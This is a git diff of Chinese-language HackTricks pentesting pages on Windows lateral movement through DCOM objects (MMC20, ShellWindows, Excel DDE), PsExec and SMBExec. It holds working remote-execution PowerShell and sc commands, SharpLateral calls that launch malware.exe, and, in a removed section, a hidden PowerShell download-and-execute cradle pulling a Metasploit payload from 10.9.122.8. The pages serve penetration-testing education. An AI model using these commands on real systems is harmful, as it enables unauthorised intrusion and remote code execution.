* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。** * **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details> </details>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到对您最重要的漏洞以便更快修复。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题从API到Web应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。 找到最重要的漏洞以便更快修复。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -22,120 +22,71 @@
## MMC20.Application ## MMC20.Application
**DCOM**(分布式组件对象模型)对象之所以**有趣**,是因为它们能够**通过网络与对象交互**。微软在[这里](https://msdn.microsoft.com/en-us/library/cc226801.aspx)有关于DCOM的很好的文档以及在[这里](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)有关于COM的文档。您可以通过运行`Get-CimInstance Win32_DCOMApplication`使用PowerShell找到一份完整的DCOM应用程序列表。 分布式组件对象模型DCOM对象提供了与对象进行基于网络的交互的有趣功能。Microsoft为DCOM和组件对象模型COM提供了全面的文档可在[此处查看DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx)和[此处查看COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)。可以使用PowerShell命令检索DCOM应用程序的列表
```bash
Get-CimInstance Win32_DCOMApplication
```
COM对象[MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx)可以对MMC插件操作进行脚本编写。特别是该对象在`Document.ActiveView`下包含一个`ExecuteShellCommand`方法。有关此方法的更多信息可以在[此处](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)找到。运行以下命令进行检查:
[MMC应用程序类 (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx) COM对象允许您脚本化MMC管理单元操作的组件。在枚举这个COM对象中的不同方法和属性时我注意到在Document.ActiveView下有一个名为`ExecuteShellCommand`的方法。 此功能通过DCOM应用程序促进了通过网络执行命令的功能。要远程以管理员身份与DCOM进行交互可以使用PowerShell进行如下操作
```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
这个命令连接到DCOM应用程序并返回COM对象的一个实例。然后可以调用ExecuteShellCommand方法在远程主机上执行一个进程。该进程涉及以下步骤
![](<../../.gitbook/assets/image (4) (2) (1) (1).png>) 检查方法:
```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
```
获取远程代码执行RCE
```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
您可以在[这里](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)阅读更多关于该方法的信息。到目前为止我们有一个可以通过网络访问并且可以执行命令的DCOM应用程序。最后一步是利用这个DCOM应用程序和ExecuteShellCommand方法在远程主机上获得代码执行。 # Then just run something like:
幸运的是,作为管理员,您可以通过使用“`[activator]::CreateInstance([type]::GetTypeFromProgID`”在PowerShell中远程与DCOM交互。您所需要做的就是提供一个DCOM ProgID和一个IP地址。然后它会远程提供给您一个该COM对象的实例 ls \\10.10.10.10\c$\Users
```
有关更多信息,请查看[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
![](<../../.gitbook/assets/image (665).png>)
然后可以调用`ExecuteShellCommand`方法在远程主机上启动一个进程: ## ShellWindows 和 ShellBrowserWindow
![](<../../.gitbook/assets/image (1) (4) (1).png>) **MMC20.Application** 对象被发现缺乏显式的“LaunchPermissions”默认权限允许管理员访问。有关更多详细信息请查看[此处](https://twitter.com/tiraniddo/status/817532039771525120),建议使用[@tiraniddo](https://twitter.com/tiraniddo)的 OleView .NET 过滤没有显式 Launch Permission 的对象。
## ShellWindows & ShellBrowserWindow 由于缺乏显式 Launch Permissions两个特定对象 `ShellBrowserWindow``ShellWindows` 受到关注。在 `HKCR:\AppID\{guid}` 下缺少 `LaunchPermission` 注册表项表示没有显式权限。
**MMC20.Application**对象缺少明确的“[LaunchPermissions](https://technet.microsoft.com/en-us/library/bb633148.aspx)”,导致默认权限集允许管理员访问:
![](<../../.gitbook/assets/image (4) (1) (2).png>)
您可以在[这里](https://twitter.com/tiraniddo/status/817532039771525120)阅读更多关于该线程的信息。\
使用[@tiraniddo](https://twitter.com/tiraniddo)的[OleView .NET](https://github.com/tyranid/oleviewdotnet)其中包括优秀的Python过滤器等可以查看哪些其他对象没有设置明确的LaunchPermission。在这种情况下我们可以筛选出所有没有明确设置Launch Permission的对象。在这样做时有两个对象引起了我的注意`ShellBrowserWindow`和`ShellWindows`
![](<../../.gitbook/assets/image (3) (1) (1) (2).png>)
另一种识别潜在目标对象的方法是查找`HKCR:\AppID\{guid}`中缺少`LaunchPermission`值的键。设置了Launch Permissions的对象将如下所示数据以二进制格式表示对象的ACL
![](https://enigma0x3.files.wordpress.com/2017/01/launch\_permissions\_registry.png?w=690\&h=169)
那些没有明确设置LaunchPermission的将缺少该特定的注册表项。
### ShellWindows ### ShellWindows
对于缺乏 ProgID 的 `ShellWindows`.NET 方法 `Type.GetTypeFromCLSID``Activator.CreateInstance` 通过其 AppID 促进对象实例化。此过程利用 OleView .NET 检索 `ShellWindows` 的 CLSID。一旦实例化可以通过 `WindowsShell.Item` 方法进行交互,从而导致像 `Document.Application.ShellExecute` 这样的方法调用。
首先探索的对象是[ShellWindows](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974\(v=vs.85\).aspx)。由于这个对象没有关联的[ProgID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688254\(v=vs.85\).aspx),我们可以使用[Type.GetTypeFromCLSID](https://msdn.microsoft.com/en-us/library/system.type.gettypefromclsid\(v=vs.110\).aspx) .NET方法配合[Activator.CreateInstance](https://msdn.microsoft.com/en-us/library/system.activator.createinstance\(v=vs.110\).aspx)方法通过其AppID在远程主机上实例化该对象。为此我们需要获取ShellWindows对象的[CLSID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms691424\(v=vs.85\).aspx)这可以使用OleView .NET完成 提供了示例 PowerShell 命令来实例化对象并远程执行命令:
![shellwindow\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellwindow\_classid.png?w=434\&h=424)
如您在下面看到的“Launch Permission”字段是空的意味着没有设置明确的权限。
![screen-shot-2017-01-23-at-4-12-24-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-12-24-pm.png?w=455\&h=401)
现在我们有了CLSID我们可以在远程目标上实例化该对象
```powershell ```powershell
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39 $com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com) $obj = [System.Activator]::CreateInstance($com)
```
![](https://enigma0x3.files.wordpress.com/2017/01/remote_instantiation_shellwindows.png?w=690&h=354)
在远程主机上实例化对象后,我们可以与之接口并调用任何我们想要的方法。返回的对象句柄揭示了几种方法和属性,但我们无法与之交互。为了实现与远程主机的实际交互,我们需要访问 [WindowsShell.Item](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773970\(v=vs.85\).aspx) 方法,这将返回一个代表 Windows shell 窗口的对象:
```
$item = $obj.Item() $item = $obj.Item()
```
```markdown
![](https://enigma0x3.files.wordpress.com/2017/01/item_instantiation.png?w=416&h=465)
在完全控制了Shell窗口后我们现在可以访问所有预期的方法/属性。在仔细研究这些方法后,**`Document.Application.ShellExecute`** 显得尤为突出。确保遵循该方法的参数要求,这些要求在[这里](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745(v=vs.85).aspx)有文档记录。
```
```powershell
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0) $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
``` ```
如上图所示,我们的命令已经在远程主机上成功执行。 ### 使用 Excel DCOM 对象进行横向移动
### ShellBrowserWindow 通过利用 DCOM Excel 对象可以实现横向移动。有关详细信息,请阅读关于通过 DCOM 利用 Excel DDE 实现横向移动的讨论,可访问[Cybereason的博客](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)。
这个特定对象在Windows 7上不存在这使得它用于横向移动的能力比“ShellWindows”对象有限后者我已在Win7-Win10上成功测试。 Empire 项目提供了一个 PowerShell 脚本,演示了通过操纵 DCOM 对象利用 Excel 进行远程代码执行RCE的方法。以下是来自[Empire 的 GitHub 代码库](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)中的脚本片段,展示了滥用 Excel 进行 RCE 的不同方法:
根据我对这个对象的枚举它似乎有效地提供了一个接口进入Explorer窗口就像前一个对象一样。要实例化这个对象我们需要获取它的CLSID。类似于上面我们可以使用OleView .NET
![shellbrowser\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellbrowser\_classid.png?w=428\&h=414)
再次注意空白的启动权限字段:
![screen-shot-2017-01-23-at-4-13-52-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-13-52-pm.png?w=399\&h=340)
有了CLSID我们可以重复之前对象上采取的步骤来实例化对象并调用相同的方法
```powershell ```powershell
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>") # Detection of Office version
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)
```
![](https://enigma0x3.files.wordpress.com/2017/01/shellbrowserwindow_command_execution.png?w=690&h=441)
如您所见,命令已成功在远程目标上执行。
由于此对象直接与Windows shell接口我们不需要像之前的对象那样调用“ShellWindows.Item”方法。
虽然这两个DCOM对象可以用来在远程主机上运行shell命令但还有许多其他有趣的方法可以用来枚举或篡改远程目标。其中一些方法包括
* `Document.Application.ServiceStart()`
* `Document.Application.ServiceStop()`
* `Document.Application.IsServiceRunning()`
* `Document.Application.ShutDownWindows()`
* `Document.Application.GetSystemInformation()`
## ExcelDDE & RegisterXLL
以类似的方式可以通过滥用DCOM Excel对象进行横向移动更多信息请阅读 [https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)
```powershell
# Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
## You can see here how to abuse excel for RCE
elseif ($Method -Match "DetectOffice") { elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com) $Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21] $isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"}) Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
} }
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") { elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com) $Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath") $obj.Application.RegisterXLL("$DllPath")
} }
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") { elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com) $Obj = [System.Activator]::CreateInstance($Com)
@ -143,34 +94,44 @@ $Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command") $Obj.DDEInitiate("cmd", "/c $Command")
} }
``` ```
### 用于横向移动的自动化工具
自动化这些技术的两个工具如下:
- **Invoke-DCOM.ps1**Empire项目提供的一个PowerShell脚本简化了在远程计算机上执行代码的不同方法的调用。此脚本可在Empire GitHub存储库中访问。
- **SharpLateral**:一款用于远程执行代码的工具,可使用以下命令:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
## 自动化工具 ## 自动化工具
* Powershell 脚本 [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) 可以轻松调用所有注释过的方法在其他机器上执行代码。 * Powershell脚本[**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1)允许轻松调用所有已注释的方法来在其他计算机上执行代码。
* 你也可以使用 [**SharpLateral**](https://github.com/mertdas/SharpLateral) * 您也可以使用[**SharpLateral**](https://github.com/mertdas/SharpLateral)
```bash ```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
``` ```
## 参考资料 ## 参考资料
* 第一种方法复制自 [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/),更多信息请点击链接 * [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
* 第二部分复制自 [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/),更多信息请点击链接 * [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到对您最重要的漏洞,以便更快修复。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。今天就[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。 找到最重要的漏洞,这样您就可以更快修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
其他支持 HackTricks 的方式: 支持HackTricks的其他方式:
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family) 收藏 * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注**我。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR **分享您的黑客技巧** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -2,69 +2,65 @@
<details> <details>
<summary><strong>从零到英雄学习AWS黑客技术参加</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>课程</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
## 它们是如何工作的 ## 它们是如何工作的
1. 通过SMB将服务二进制文件复制到ADMIN$共享 以下步骤概述了服务二进制文件如何被操纵以通过SMB在目标机器上实现远程执行
2. 在远程计算机上创建指向该二进制文件的服务
3. 远程启动服务
4. 退出时,停止服务并删除二进制文件
## **手动执行PsExec** 1. 通过SMB将服务二进制文件**复制到ADMIN$共享**。
2. 通过指向二进制文件**在远程机器上创建一个服务**。
3. **远程启动服务**
4. 退出时,**停止服务并删除二进制文件**。
首先假设我们有一个用msfvenom生成并用Veil混淆的有效载荷可执行文件这样AV就不会标记它。在这个例子中我创建了一个名为'met8888.exe'的meterpreter reverse_http有效载荷 ### **手动执行PsExec的过程**
**复制二进制文件**。从我们的"jarrieta"命令提示符简单地将二进制文件复制到ADMIN$。实际上,它可以被复制并隐藏在文件系统的任何地方。 假设存在一个可执行载荷使用msfvenom创建并使用Veil进行混淆以规避杀毒软件检测名为'met8888.exe'代表一个meterpreter reverse_http载荷采取以下步骤
![](../../.gitbook/assets/copy\_binary\_admin.png) - **复制二进制文件**可执行文件从命令提示符复制到ADMIN$共享,尽管它可以放置在文件系统的任何位置以保持隐藏。
**创建服务**。Windows的`sc`命令用于查询、创建、删除等Windows服务并且可以远程使用。在这里阅读更多关于它的信息[这里](https://technet.microsoft.com/en-us/library/bb490995.aspx)。从我们的命令提示符,我们将远程创建一个名为"meterpreter"的服务,指向我们上传的二进制文件: - **创建服务**利用Windows `sc`命令允许远程查询、创建和删除Windows服务创建一个名为"meterpreter"的服务,指向上传的二进制文件。
![](../../.gitbook/assets/sc\_create.png) - **启动服务**:最后一步涉及启动服务,这可能会导致"超时"错误,因为二进制文件不是真正的服务二进制文件,无法返回预期的响应代码。这个错误不重要,因为主要目标是执行二进制文件。
**启动服务**。最后一步是启动服务并执行二进制文件。_注意_ 当服务启动时,它会"超时"并生成错误。这是因为我们的meterpreter二进制文件不是实际的服务二进制文件不会返回预期的响应代码。这没关系因为我们只需要它执行一次以触发 观察Metasploit监听器将显示会话已成功启动。
![](../../.gitbook/assets/sc\_start\_error.png) [了解更多关于`sc`命令的信息](https://technet.microsoft.com/en-us/library/bb490995.aspx)。
如果我们查看我们的Metasploit监听器我们会看到会话已经开启。 在[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)中找到更详细的步骤。
**清理服务。**
![](../../.gitbook/assets/sc\_delete.png)
从这里提取:[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**您也可以使用Windows Sysinternals二进制文件PsExec.exe** **您也可以使用Windows Sysinternals二进制文件PsExec.exe**
![](<../../.gitbook/assets/image (165).png>) ![](<../../.gitbook/assets/image (165).png>)
您也可以使用[**SharpLateral**](https://github.com/mertdas/SharpLateral) 您也可以使用[**SharpLateral**](https://github.com/mertdas/SharpLateral):
{% code overflow="wrap" %} {% code overflow="wrap" %}
``` ```
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
``` ```
{% endcode %}
<details> <details>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -2,66 +2,52 @@
<details> <details>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## 它是如何工作的
**Smbexec的工作原理类似于Psexec。** 在这个例子中,我们**不是**将 "_binpath_" 指向受害者内部的恶意可执行文件,而是将其**指向** **cmd.exe或powershell.exe**,它们中的一个将下载并执行后门程序。
## **SMBExec**
让我们看看smbexec运行时发生了什么从攻击者和目标的角度来看
![](../../.gitbook/assets/smbexec\_prompt.png)
所以我们知道它创建了一个服务"BTOBTO"。但是当我们执行`sc query`时,目标机器上并没有这个服务。系统日志透露了发生了什么:
![](../../.gitbook/assets/smbexec\_service.png)
服务文件名包含一个要执行的命令字符串(%COMSPEC% 指向cmd.exe的绝对路径。它将要执行的命令回显到一个bat文件中将stdout和stderr重定向到一个临时文件然后执行bat文件并删除它。回到KaliPython脚本通过SMB拉取输出文件并在我们的"伪shell"中显示内容。我们在"shell"中输入的每个命令,都会创建一个新服务并重复该过程。这就是为什么它不需要放置一个二进制文件,它只是将每个想要执行的命令作为一个新服务执行。绝对更隐蔽,但正如我们所见,每执行一个命令就会创建一个事件日志。尽管如此,这仍然是一个非常聪明的方式来获得一个非交互式的"shell"
## 手动SMBExec
**或者通过服务执行命令**
正如smbexec所演示的可以直接从服务binPaths执行命令而不需要二进制文件。如果您需要在目标Windows机器上执行一个任意命令这可以是一个有用的技巧。作为一个快速示例让我们使用远程服务获取一个Meterpreter shell_不需要_二进制文件。
我们将使用Metasploit的`web_delivery`模块并选择一个PowerShell目标带有反向Meterpreter有效载荷。监听器已设置并告诉我们在目标机器上执行的命令
```
powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');
```
从我们的Windows攻击盒子中我们创建一个远程服务"metpsh"并设置binPath来执行cmd.exe并运行我们的有效载荷
![](../../.gitbook/assets/sc\_psh\_create.png)
然后启动它:
![](../../.gitbook/assets/sc\_psh\_start.png)
它报错了因为我们的服务没有响应但如果我们查看我们的Metasploit监听器我们会看到回调已经发生并且有效载荷已经执行。
所有信息都是从这里提取的:[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
<details>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
其他支持HackTricks的方式 其他支持HackTricks的方式
* 如果你想在**HackTricks中看到你的公司广告**或者**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
